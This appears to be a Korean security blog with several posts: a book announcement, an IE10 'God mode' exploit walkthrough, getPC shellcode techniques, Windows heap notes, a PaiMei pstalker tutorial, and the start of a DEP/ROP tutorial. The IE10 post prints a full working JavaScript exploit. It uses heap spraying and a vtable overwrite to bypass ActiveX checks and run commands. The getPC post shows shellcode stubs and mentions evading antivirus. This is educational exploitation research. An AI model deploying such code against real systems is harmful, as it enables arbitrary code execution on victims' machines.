Windows System Hacking

 

안녕하세요. hyunmini 입니다.

 

초판이 모두 판매되어 절판되었던 "윈도우 시스템 해킹 가이드: 버그헌팅과 익스플로잇" 개정판이 출간되었습니다!!

 

2019.12.05 부터 온/오프라인 서점에서 구매 가능합니다.

 

https://book.naver.com/bookdb/book_detail.nhn?bid=15909324

 

윈도우 시스템 해킹 가이드 버그헌팅과 익스플로잇

이 책은 윈도우 시스템 해킹을 따라하기 방식으로 쉽게 배우고, 중급자와 보안 엔지니어가실무에서 활용할 수 있도록 구성된 책이다. 시스템 해킹에 입문하는 초보자들은 어렵게만 느껴지는 어셈블리어와 디버거의 벽에 가로막혀서 중도에 포기한다. 그리고 중급자는 적절한 전문 서적과 가이드가 부족해서 시스템 해킹 지식을 넓히는 데 어려움을 겪는다. 또한 실무에서 활용해야 하는 분들은 제대로 된 분석 예제와 기법을 몰라서 이를 찾는 데 시간을 허비한다. 이 책은 이 모

book.naver.com

 

개정판에서는 크래시 분석 자동화, DBI, Win10 x64 Exploit, 브라우저 Infoleak, OOB Exploit 기술 등 다양한 내용이 약 100여 페이지에 걸쳐서 추가되었습니다.

 

많이 부족하지만 윈도우 환경에서 초급-중급 시스템 해킹 기술을 공부하는데 도움이 되길 바랍니다.

 

 

(개정판 추가 내용)
Section 05. 버그헌팅 자동화
1. 바이너리 분석 자동화
2. Dynamic Binary Instrumentation
3. Taint Analysis
4. Crash 분류 자동화와 중복 제거
5. Code Coverage 높이기

 

Part 07. 고급 Exploit 기법

Section 01. x64 Exploit
1. x64 의 이해
2. syswow64 exploit
3. windows 10 x64 exploit

 

Section 02. 웹브라우저 Exploit
1. 웹브라우저 메모리 보호기법
2. CVE 취약점을 활용한 Infoleak
3. Godmode 를 이용한 Exploit

 

 

  1. 으아닛 2019.12.05 10:39

    ㅋㅋ 하는 형님이 추천해주더군요 구매하러갑니다.

  2. 와우 2019.12.11 19:09

    개정판이 출시됐군요 현미니님 넘 멋져용~~

  3. 익명 2020.06.12 10:27

    비밀댓글입니다


영어 공부삼아 심심풀이로 영어 기술문서 번역을 해 보려고 합니다. 여기서 작업하다 완성되면 PDF 로~


======================================================




브라우저 부수기 : 취약점 발견부터 Exploit 까지



Chen Zhang (@demi6od) 

NSFOCUS Security Team 

demi6d@gmail.com 

https://github.com/demi6od Date: 2014 August 28 th





1. 브라우저 퍼징 기술 


1.1  요약 


  이번 장에서는 먼저 제가 개발한 퍼저 프레임워크(StateFuzzer)와 그 안의 퍼징 전략들을 소개합니다. 그리고 퍼징결과를 기반으로 관련 취약점과 효율적인 퍼징 아이디어에 대해 이야기를 나눌 것입니다. 




1.2 브라우저 퍼징 소개


 1.2.1 취약점 발견 

  

   1. 화이트박스

       코드 리뷰

           예제 1: MWR labs 

                      Chrome type confusion, static_cast (CVE-2013-0912) 

           예제 2: Pinkie Pie 

                      2012 Pwnium (6 different bugs escape Chrome sandbox) 

                      2013 Mobile Pwn2Own (integer overflow) 

       자동화된 코드 리뷰 

           Fortify source code analyzer 

           Rough auditing tool for security (RATS) 


   2. 블랙박스

       퍼징 


 1.2.2 Browser Fuzzing Technology 

   

   1. 정적 퍼저 - HTML 과 Javascript 테스트 케이스를 생성

     1) Krakow Labs 에서 개발한 bf3 와 같이 flash 등의 수집된 멀티미디어 문서 템플릿을 기반으로 변형 

     2) 브라우저 스펙에 기반한 생성

# IE 10  Exploit (using God mode)


activex object 중 아래 소스에 포함된 wscript.shell 과 같이 권한이 너무 강력해서 취약한 object 는 


보안 정책에 의해 default 로 사용이 불가하다. 허용으로 바꿔준다 하더라도 경고창에서 직접 승인을 눌러줘야만 한다.


=====================================

<html>

<head>

<script language="javascript">

  shell = new ActiveXObject("WScript.shell");

  shell.Exec('calc.exe');

</script>

</head>

<body>

</body>

</html>

=====================================



하지만, 아래와 같은 단계로 우회가 가능하다.


1) 먼저, 특정 주소의 값을 바꿀 수 있는 상태여야 한다.


  ex1)  js array length modify


  ex2) flash vector length modify


    => 보통 1 byte 변조로 객체 length 변조 후, 변조된 객체로 2차 다른 객체의 길이를 0x3fffffff 등으로 바꿔서 전체 프로세스 메모리 접근 권한을 획득함

      => cve-2014-0322(snowman) 참고(값 1 증가 uaf)


2) jscript9!ScriptEngine::CanObjectRun 함수 내부의 객체(s_apfnPlainTearoff) 의 vtable 을 조작하여 CanObjectRun 함수 결과값을 항상 true 로 조작


3) 자바스크립트로  calc 마음대로 실행 가능(Godmode on)



이러한 방법으로 임의코드 실행을 하는 것을 godmode 를 이용한 Exploit 이라 부른다. VBScript 에서도 된다고 함.





====== 디버깅 과정 ======



1) 허용하시겠습니까? alert 창 상태에서 BP 걸고 콜스택을 통해 호출 함수 확인 



0:007> x user32!create*


브뽀 걸리면 


0:012> kb 10

 # ChildEBP RetAddr  Args to Child              

00 047aacf4 71003ccf 00000000 66e6bc38 047aadcc user32!CreateWindowExW

01 047aad34 66e4697a 00000000 66e6bc38 047aadcc IEShims!NS_HangResistanceInternal::APIHook_CreateWindowExW+0x64

02 047aad74 66dd213d 00000000 66e6bc38 047aadcc IEFRAME!SHFusionCreateWindowEx+0x47

03 047aaed0 66dd1f39 047aaf24 00000fa6 047aaf68 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0x3c1

04 047aaf1c 66dd1e23 00000000 047aaf48 047aaf68 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0xea

05 047aaf3c 7101a148 001005bc 047aaf68 047aaf54 IEFRAME!TabWindowExports::AcquireModalDialogLockAndParent+0x1b

06 047aaf58 76cc5742 76c30000 00000fa6 001005bc IEShims!NS_UISuppression::APIHook_DialogBoxParamW+0x31

07 047ab788 76ceba1c 001005bc 00000fa6 76cc3058 urlmon!CSecurityManager::DisplayMessage+0x40

08 047abb2c 76c70f7b 0cb6835c 00001204 047abbdc urlmon!memset+0x11504

09 047abb70 65ff5a0b 05b9bc78 0cb6835c 00001204 urlmon!CSecurityManager::ProcessUrlActionEx2+0x15f

0a 047abbe4 65ff5b07 00001204 047abc54 00000000 MSHTML!CMarkup::ProcessURLAction2+0x31d

0b 047abc14 66b35f88 00001204 047abc54 00000000 MSHTML!CMarkup::ProcessURLAction+0x3e

0c 047abca0 660c2e27 00000001 65f36348 0d32a9a4 MSHTML!memcpy+0xff91b

0d 047abce4 6e85bb25 0b4da290 6e85bb60 047abd1c MSHTML!CDocument::HostQueryCustomPolicy+0x148

0e 047abd5c 6e85b79c 0d32a9a4 00000002 01d13120 jscript9!ScriptEngine::CanObjectRun+0x78

0f 047abda8 6e85b5cf 00000000 047abdd4 5bda28d7 jscript9!ScriptSite::CreateObjectFromProgID+0xdf



 jscript9!ScriptEngine::CanObjectRun+0x78 이 부분을 통해 실행 여부가 결정됨.


또한, 해당 함수는 CreateObjectFromProgID 내부에서 호출됨.







2) 함수 분석



# CreateObjectFromProgID 분석


0:012> uf jscript9!ScriptSite::CreateObjectFromProgID


jscript9!ScriptSite::CreateObjectFromProgID:

6e85b6b9 8bff            mov     edi,edi

6e85b6bb 55              push    ebp

                ...(중략)...

6e85b78c 8b4ddc          mov     ecx,dword ptr [ebp-24h]

6e85b78f ff33            push    dword ptr [ebx]

6e85b791 8b4904          mov     ecx,dword ptr [ecx+4]

6e85b794 8d55ec          lea     edx,[ebp-14h]

6e85b797 e811030000      call    jscript9!ScriptEngine::CanObjectRun (6e85baad)   // CanObjectRun 결과에 따라서 실행여부 결정

6e85b79c 85c0            test    eax,eax                      

6e85b79e 0f844c7c0800    je      jscript9!ScriptSite::CreateObjectFromProgID+0xfd (6e8e33f0)  Branch



포인트는 CanObjectRun 결과값 (EAX) 이 0 만 아니면 참이 되어 곧바로 실행 된다는 것!!(godmode)!



이를 위해 CanObjectRun 을 분석하여 0이 아닌 값을 리턴하도록 조작해줘야 한다. 내부에서 사용되는 객체 하나의 VTable 을 조작한다.



# CanObjectRun 분석


0:006> uf jscript9!ScriptEngine::CanObjectRun

jscript9!ScriptEngine::CanObjectRun:

6e85baad 8bff            mov     edi,edi

6e85baaf 55              push    ebp

6e85bab0 8bec            mov     ebp,esp

6e85bab2 83ec48          sub     esp,48h

               ...(중략)...

6e85bb12 52              push    edx

6e85bb13 8d55c0          lea     edx,[ebp-40h]

6e85bb16 52              push    edx

6e85bb17 6860bb856e      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (6e85bb60)

6e85bb1c 895de4          mov     dword ptr [ebp-1Ch],ebx

6e85bb1f 8b08            mov     ecx,dword ptr [eax]

6e85bb21 50              push    eax

6e85bb22 ff5114          call    dword ptr [ecx+14h]         // 이 호출을 조작하기 위해 VTable 을 덮어씀 

 

                                                 => 이 호출 직전 eax 는 0이 아니므로, 이 상태로 call 명령과 동시에 함수가 바로 종료되도록 에필로그로 덮어씀


=> VTable 은 항상 일정한 Offset 이고, 취약점으로 메모리 읽기/쓰기가 가능하므로 조작 가능



# 조작할 오프셋 구하기


009> bp  jscript9!ScriptEngine::CanObjectRun+0x75

009> g


jscript9!ScriptEngine::CanObjectRun+0x75:

6e85bb22 ff5114          call    dword ptr [ecx+14h]  ds:0023:66b67884={MSHTML!TearoffThunk5 (6601e30e)}



0:012> ln @ecx      //   현재 호출된 객체 심볼 확인


Exact matches:

    MSHTML!s_apfnPlainTearoffVtable = <no type information>




0:012> dds ecx     //  VTable 확인  

66b67870  65f3dd56 MSHTML!PlainQueryInterface

66b67874  65f3d69d MSHTML!CAPProcessor::AddRef

66b67878  65f3d6b5 MSHTML!PlainRelease

66b6787c  65f3c1d2 MSHTML!TearoffThunk3

66b67880  6601b017 MSHTML!TearoffThunk4

66b67884  6601e30e MSHTML!TearoffThunk5

66b67888  6601f130 MSHTML!TearoffThunk6

66b6788c  6637e99d MSHTML!TearoffThunk7



원래 호출되는 주소는 VTable 에서 0x14 떨어진 6번째 함수임(MSHTML!TearoffThunk5). 이 주소를 에필로그 주소로 덮어씀






# 덮어써야할 주소 =>  VTable Offset 계산


0:012> ? MSHTML!s_apfnPlainTearoffVtable-mshtml

Evaluate expression: 13006960 = 00c67870



# 덮어쓸 주소 => 에필로그 Offset 계산


0:012> ? 6e85bb5c  - jscript9

Evaluate expression: 899932 = 000dbb5c



# mshtml base addr 구하기  =>  div element 생성하면 + 0x10 에 MSHTML!CBaseTypeOperations::CBaseFinalizer 주소가 있음.


0:023> ? MSHTML!CBaseTypeOperations::CBaseFinalizer - mshtml

Evaluate expression: 249949 = 0003d05d



이제 전체 코드를 실행하고 alert 창이 뜨면 TypedArray<int> 객체의 length 를 변조해 준다.


힙스프레이를 통해 항상 0x0c0af000 에 위치한다.



0:023> dd 0x0c0af000

0c0af000  68d238c8 057e98a0 00000000 00000003

0c0af010  00000004 00000000 00000016 0225baa0

0c0af020  05da2e20 00000000 00000000 00000000

0c0af030  68d238c8 057e98a0 00000000 00000003

0c0af040  00000004 00000000 00000016 0225baa0

0c0af050  05da2e20 00000000 00000000 00000000

0c0af060  68d238c8 057e98a0 00000000 00000003

0c0af070  00000004 00000000 00000016 0225baa0



0:020> ed 0x0c0af018 0x20000000



0:023> dd 0x0c0af000

0c0af000  68d238c8 057e98a0 00000000 00000003

0c0af010  00000004 00000000 20000000 0225baa0

0c0af020  05da2e20 00000000 00000000 00000000

0c0af030  68d238c8 057e98a0 00000000 00000003

0c0af040  00000004 00000000 00000016 0225baa0

0c0af050  05da2e20 00000000 00000000 00000000

0c0af060  68d238c8 057e98a0 00000000 00000003

0c0af070  00000004 00000000 00000016 0225baa0



정상적으로 calc 가 실행된다.



<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x200; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr   =>  jscript9!Js::TypedArray<int>
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20"); 
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...
 
    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    //jscript9 = read(0x0c0af000) - 0x3b60; 원본 
    jscript9 = read(0x0c0af000) - 0x38c8; // by hyunmini
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    //mshtml = read(addr + 0x10) - 0x58b9a;  원본 
    mshtml = read(addr + 0x10) - 0x3d05d; // by hyunmini
 
    // We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where:
    //   * mshtml+0xc555e0 is the address of the vftable we want to modify;
    //   * jscript9+0xdc164 points to the code "leave / ret 4".
    // As a result, jscript9!ScriptEngine::CanObjectRun returns true.
 
    //var old = read(mshtml+0xc555e0+0x14);   // 원본 
    var old = read(mshtml+0xc67870+0x14);   // by hyunmini
    //write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on! 원본 
    write(mshtml+0xc67870+0x14, jscript9+0xdbb5c);      // God mode on! by hyunmini
    
    shell = new ActiveXObject("WScript.shell");
    shell.Exec('calc.exe');
 
    write(mshtml+0xc67870+0x14, old);      // God mode off! by hyunmini
    
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>





쉘코드 인코더를 직접 구현해 보던 중 현재 실행 코드 주소를 알아내는 테크닉이 필요해서 정리해 둔다. 


인코더를 구현하기 위해서는 현재 실행중인 코드 주소를 알아내야 한다. 아래처럼 디코더가 인코딩된 쉘코드의 주소값을 알아야


하기 때문이다.



| 디코더 | 인코딩된 쉘코드 | 

    |        ^

     -----l






여기서 실행코드 주소란 바로 위에 표시된 주소를 구하는 방법인데, 이미 잘 알려진 몇가지 방법이 있다. 또한 이 


방법들은 메타스플로잇 msfencode 의 여러 인코더들이 사용중인 방법들이다. 



1) call + 5


 e8 00 00 00 00      call 0x5

 58                        pop eax


call 명령이 실행되면 스택에 돌아올 주소를 push 한 뒤 해당 주소로 점프하게 되는데, 0x5로 점프하게 되면 바로 


다음줄 명령으로 점프하게 되고, 스택에 저장된 코드주소를 pop 으로 꺼내는 원리이다. 아래 그림을 보면 실행 후 


eax 에 코드 주소가 저장되어 있는 것을 볼 수 있다.





2) call + 4


 e8 ff ff ff ff          call 0x4

 c2                      ret

 59                      pop ecx


이전과 비슷하지만, call + 4를 하기 때문에 자기 자신( ff 의 끝) 으로 점프하게 된다.(아래 그림) 점프 한 뒤에는 ff c2 가 RET가 


아닌 INC EDX 로 해석되고, 바로 뒤의 pop 을 통해 스택에 저장되어 있는 코드 주소를 가져와서 ecx 레지스터에 저장해 준다.



                                                                              call 명령 전


                                                                      call 명령 후 재 해석 된 명령어




3) FPU 명령어 이용(fstenv)


 d9 ee                    fldz

 d9 74 24 f4           fnstenv [esp-0xc]

 58                        pop eax


위의 기본적인  fldz, fnstenv 등의 fpu 관련 명령어를 이용할 수도 있다. 부동소수점 관련 연산 명령어들인데, 위의 두 방법보다 더


깔끔하고 안정적인 방법인 듯 하다. 가장 많이 쓰이는 msfencode 인코더 중 하나인 shikata_ga_nai 도 이 방법으로 구현되어 있다. 


fnstenv 명령이 실행되면 스택에 fldz 명령 주소값이 들어간다. 그림을 보면 fldz 명령 주소인 0x401000 이 들어가 있음을 알 수 있다.




4) backword call


 eb 03                jmp short 0x5    (1)

 5e                    pop esi     (3)

 ff e6                 jmp esi     (4)

 e8 f8 ff ff ff       call -7      (2)

 shellcode(아래 그림 nop 부분)

    ...


마찬가지로 call 을 하면 다음 명령어 주소가 스택에 저장되는 것을 이용한 것으로, 이 또한 많이 사용되는 방법 중 하나이다. 다만 


역방향 call 을 한다는 것만 다르다. 




이 외에도 몇가지 방법이 더 있으나..이정도면 충분한 듯 하다. 이 getpc 코드들은 일반적으로 인코더의 첫 부분에 들어가는데,


동일한 코드를 사용하면 단순 패턴 탐지만으로도 백신, IDS 등에 탐지될 수 있으므로 레지스터, 명령어 순서 변경, 쓰레기 명령


삽입 등으로 다형성을 추가할 수 있다. 이 부분은 다음 블로깅에서 이어 가도록 하겠다.







  1. Zero 2016.05.21 16:30

    코드마다 주소를 꺼내는 레지스터가 EAX, ECX, ESI 등으로 다른데 특별한 이유가 있나요?

Windows Heap Internals

2014. 12. 17. 17:22


힙 메모리에 대해 정리...끝나면 깔끔하게 문서로 작성해서 공유 할 예정입니다.





===========================================================================



메모리 커럽션 류의 취약점은 스택 기반 취약점과 힙 기반 취약점이 존재한다. 스택기반 취약점은 정리가 잘 되어있는 반면 힙 기반

Exploitation 기술과 배경 지식들은 자료가 부족한 편이다. 이에 나 또한 힙 메모리에 대한 기존 지식 정리와 함께 이 기회에 조금 더 자세

히 공부해 보려고 한다.



ㅁ 윈도우 힙 메모리 관리 메커니즘

- 힙 메모리 관리 메커니즘은 버전이 올라가며 조금씩 바뀌어 왔으며 Vista 를 기준으로 관리 메커니즘이 아래와 같이 변경되었다.

                               Front-end Heap Management                   Back-end Heap Management
Windows XP                      LookAside List

Windows 7                  Low Fragmentation Heap                            ListHint,  Freelist 


- 응용프로그램이 메모리를 요청하면 Frontend 인 LFH 에 의하여 "이미 해제된 메모리 블럭 리스트" 중에서 반환을 해 준다. 단편화를 줄이기 위해(low fragmentation) 


  요청한 메모리 크기를 만족시키는 가장 작은 메모리블럭을 반환해준다. 또한 최근에 해제된 메모리를 반환해 주는 경향이 있다. 만약 Frontend 가 처리할 수 없는 


  크기의 요청이 들어오면 Back-end 단에 요청을 해서 새롭게 메모리를 할당받는 구조이다.




ㅁ Use-After-Free 의 공격 원리


- ex) 32 byte 의 객체가 free 되었을때, free 된 객체와 비슷한 사이즈로 객체를 할당받으면 LFH 에 의해 최근에 반환된 메모리 블럭(주소)를 할당받게 되어 덮어쓸 수 있다.


        이렇게 되면 VTable 을 변조할 수 있게 되어 (Fake VTable) 이를 이용하여 임의의 쉘코드를 실행시킨다. 









Paimei - pstalker 모듈 소개

2013. 6. 19. 00:22


# PaiMei - Reversing Framework #



오늘은 꽤 오래되긴 했지만 여전히 유용한 paimei reversing framework 를 소개 하려고 한다.


pedram amini 라는 유명한 해커가 만든 framework 로, 리버싱에 필요한 몇가지 툴들을 모아놓은 것이다.


가장 유명한 것으로는 pydbg 가 있다. 2006년(저는 C언어도 모르던 시절...부끄러워라 *-_-*) 발표 이후 몇번 


버전업을 하여 현재는 몇가지 기능이 조금 더 있다. 어쨋든 오늘은 이 paimei 기능 중 하나인 pstalker 를


소개하려고 한다. 






# code coverage 


먼저 코드 커버리지가 무엇인지 알아보자.


☞ code coverage - 프로그램 전체 루틴중 실행중 코드들이 실제 실행되는 정도


프로그램 코드 내부에는 많은 루틴들이 존재한다. 하지만 여러 분기문 및 조건에 의해 거치지 않는 루틴들도 많이 있


을 것이다. 이해를 위해 간단히 예를 들어 보자.



 function foo(){

      취약함수1();

 }

 function bar(){

      취약함수2();

 }


 main() {

      int i = 1;     

      if (i == 1){ 

          foo();

      } else {

           bar();

      }

 }


이 소스에서는 실제 취약함수가 foo() 와 bar() 에 모두 존재 하나, 코드 구조상 실제론 foo() 내부의 취약함수1() 만


실행된다. 개념을 이해하기 위해 간단히 한 것이나, 실제 몇M, 몇십M 이상의 파일에서 취약점 분석을 할 때 실제론


거치지도 않는 함수를 역참조 분석을 해가며 분석하는건 시간 낭비일 것이다. 







# pstalker  - paimei code coverage tool


pstalker 는 paimei 에 포함된 code coverage tool 이다. 한번 직접 사용해 보면 바로 알 수 있을 것이다. 단점은 실행


을 위한 설치 절차가 매우 복잡하고 까다롭다. ㅠ_ㅠ 이에 대해선 다른 잘 정리된 문서를 읽어보도록 하고, 먼저 


paimei 를 한번 살펴보자. 킬빌에 나오는 간지나는 할아버님이 반겨준다.(-_-;;)






가장 아래에 있는 pstalker 를 선택해 보자. 아래 화면은 어느정도 진행이 된 화면이고 실제 실행해보면 덩그러니 빈칸


들만 있을 것이다. 가장먼저 ida pro 를 통해 .pida 파일을 생성해야 한다. 




먼저 ida 를 통해 target binary 를 로드한 뒤, ida python script 인 pida_dump 를 실행시킨다. 해당 파일은  paimei 


디렉토리에 존재한다. 이 스크립트는 바이너리를 분석한 뒤 함수에 관련된 정보와 코드조각들은 수집하므로 생각보다


시간이 꽤 오래 걸린다. 마음을 비우고 웹툰을 보면서 기다리자. -_-;;






스크립트가 한참 돌고 나면 아래와 같이 pida 파일이 생성될 것이다. 오류가 발생한다면 instruction() 파일을 수정해


야 하는데, 차후에 다시 올리도록 하겠다. 어쨌든 성공했다 치고, 넘어가자.




이제 pstalker 를 위한 사전준비는 끝났다. 먼저 할 일은 이 pida 파일을 로드하고, target 에 추가하는 것이다. 아래쪽


에 보이는 add module 을 선택해 방금 생성한 pida 파일을 선택하고, target 에 추가한 뒤 우클릭 메뉴중 Use for 


Stalking 을 선택하자.




그리고 나서 할 일은 이 바이너리를 실행하는 것이다. 우측 Data Capture 쪽에 보면 load 메뉴가 있다. Target


binary 를 선택 후, 원하는 Coverage Depth 를 선택한 뒤 Start Stalking 버튼을 누르자.






그러면 위와 같이 미리 분석된 함수를 거쳐가는지 자동으로 확인하게 된다. 또한 거쳐갈 때의 레지스터와 스택 정보 


등을 자동으로 같이 저장해 주므로, 분석시 도움이 된다.




이제 결과를 export 하자. 우클릭 후 export to idc 메뉴를 선택하고, 원하는 옵션을 적절히 선택한다.


아직 끝이 아니다!(헥헥...아까 로드한 ida 로 되돌아 가서, 방금 생성된 idc 파일을 선택하여 실행한다.


idc 는 ida script 파일로, 자체적인 문법을 가진 자동화 스크립트라 보면 된다.




두둥 이제 드디어 모든 사전 작업을 마쳤다. ida view 를 보면 실제 코드가 실행된 루틴은 아까 지정한 색으로 표시가


되어 있음을 알 수 있다. 





실행된 루틴이 보기좋게 표시된건 알겠는데, 어떻게 활용해야 할까? 


취약점을 찾을 때, 퍼징이 아닌 리버싱을 통해 찾는다면 어떤 식으로 접근해야 할까? 많은 방법들이 있겠지만, 당연히


취약하다고 알려진 취약함수들(strcpy, scanf 등)이 존재하는지 확인하고, 역참조 루틴들을 따라가며 입력값이 사용


자에 의해 조작될 수 있는지를 파악하게 될 것이다. 하지만, 처음에 설명했던 것처럼 수많은 루틴 중 실제 우리가 원


하는 루틴은 실행되는 루틴뿐이다. 아무리 취약한 코드더라도 실행조차 되지 않는다면 별 의미가 없기 때문이다.


취약한 함수중 하나인 sscanf 의 xref 그래프를 살펴보자.(ida의 기본 기능) 실제 실행된 코드들이 예쁘게 표시되어


있다. 이제 할일은 sub_410730 함수 내부의 동작과 main 함수에서 어떤 인자값을 통해 sub_410730 을 호출하는지


분석하는 것이다. 즉, 수십개의 루틴 중 단번에 분석해야 할 루틴을 상당수 줄일 수 있었다.





여기까지 code coverage tool 중 하나인 pstalker 에 대한 간략한 소개였다.  그럼 이만!


















앞의 글에서 기본적인 DEP 의 개념을 알아보았다. 이제 immunity debugger 와 유용한 몇가지 pycommand 를 통해


exploit 을 작성해 보자.




 실습 환경


 - OS Ver : 한글 Windows XP SP3

 - DEP : 예외목록 이외의 모든 프로세스에 DEP 적용 ( OptOut )

 - 디버거 : Immunity Debugger + mona.py

 - 취약프로그램 : RM2MPConverter.exe

 - Exploit 작성언어 : Python 2.7





# immunity debugger


 - ollydebugger 를 기반으로 python 으로 작성된 디버거

 - python shell 지원

 - immLib 을 통해 python 으로 조작 및 접근이 용이함

 - 간단한 코드만으로 후킹 가능

 - 안티디버깅 및 다양한 exploit 제작용 플러그인 제공


[그림1] immunity debugger


# pycommand


 - immunity debugger 의 plugin 개념으로 파이썬으로 만들어진 추가기능

 - 디버거가 제공하는 라이브러리를 활용하여 간단하게 제작 가능

 - command 창에 !명령어 방식으로 사용

    ex)  !list        // 현재 존재하는 pycommand 목록

          !scanpe   // 현재 로딩된 pefile 정보 scan


[ 그림2 ] pycommand 목록 ( ! list )



[ 그림3 ] scanpe 를 통한 파일 정보 스캔 (packing 여부 등)




# mona.py


  해커그룹 corelan 팀에서 만든 exploit 제작용 다용도 툴로, https://github.com/corelan/mona 에서 받을 수 있다.


  유용한 가젯들을 자동으로 찾아주며, bypass dep rop chain 까지 자동으로 만들어 준다. 하지만 정해진 명령에 


  대한 가젯을 찾을 수 없으면 실패하며(자동화 툴의 한계...) 수동으로 rop payload 를 구성해 주어야 한다. 

  

  어쨌든 exploit 을 제작하는데 필요한 다양한 기능들을 제공하므로, exploit 을 개발에 필수적인 툴이라 할 수 있겠다.


  참고로 이전에 발표된 pvefindaddr 를 개선하여 만들어진 것이며 최신 immunity debugger 에서는 pvefindaddr


